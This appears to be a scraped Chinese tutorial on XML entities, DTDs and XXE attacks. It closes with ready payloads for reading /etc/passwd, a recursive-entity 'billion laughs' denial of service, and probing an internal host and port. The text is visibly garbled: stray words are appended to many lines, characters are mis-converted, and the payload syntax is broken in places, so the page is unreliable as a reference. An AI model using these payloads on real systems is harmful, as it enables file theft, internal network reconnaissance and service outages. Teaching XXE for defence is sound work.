xml實體分爲4種,分別是內部實體、參數實體、預約義實體和外部實體php
在 DTD 或內部子集(即文檔中 <!DOCTYPE> 語句的一部分)中聲明,在文檔中用做引用。在 XML 文檔解析過程當中,實體引用將由它的表示替代。java
實體 | 描述 |
---|---|
" | 雙引號 |
' | 單引號 |
< | 小於,即< |
> | 大於,即> |
& | & |
DTD(文檔類型定義)的做用是定義 XML 文檔的合法構建模塊。DTD 能夠在 XML 文檔內聲明,也能夠外部引用。網站
內部聲明DTD編碼
<!DOCTYPE 根元素 [元素聲明]>.net
引用外部DTDcode
<!DOCTYPE 根元素 SYSTEM "文件名">xml
或者遞歸
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">ip
DTD實體是用於定義引用普通文本或特殊字符的快捷方式的變量,能夠內部聲明或外部引用。內部聲明實體utf-8
<!ENTITY 實體名稱 "實體的值">
參數實體只用於 DTD 和文檔的內部子集中,XML的規範定義中,只有在DTD中才能引用參數實體. 參數實體的聲明和引用都是以百分號%。而且參數實體的引用在DTD是理解解析的,替換文本將變成DTD的一部分。該類型的實體用「%」字符(或十六進制編碼的%)聲明,而且僅在通過解析和驗證後才用於替換DTD中的文本或其餘內容:
引用外部實體
<!ENTITY 實體名稱 SYSTEM "URI">其中SYSTEM關鍵字就是外部實體的標記、外部實體接受本地文件、http、file等協議形式的內容
libxml2 | php | java | .net |
---|---|---|---|
file http ftp |
file http ftp php compress.zlib compress.bzip2 datag1obphar |
http https ftp file jar netdoc mailto gopher * |
file http https ftp |
xxe攻擊方式有基於回顯、基於報錯和blind xxe
危害:當容許引用外部實體時,經過構造惡意內容,可致使讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
<!-- 任意文件讀取 --> <? xml version="1.0"encoding="utf-8"?> <!DOCTYPE rohit[ <! ENTITY abc SYSTEM "file:///etc/passwd"> ]> <abc>&abc;</abc>
<!--xml遞歸調用形成拒絕服務攻擊--> <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
<!--探測內網端口--> <? xmL version="1.0"?> <! DOCTYPE ANY[ <! ENTITY xxe SYSTEM "http://192.168.1.1:81"> <x>&xxe;</x>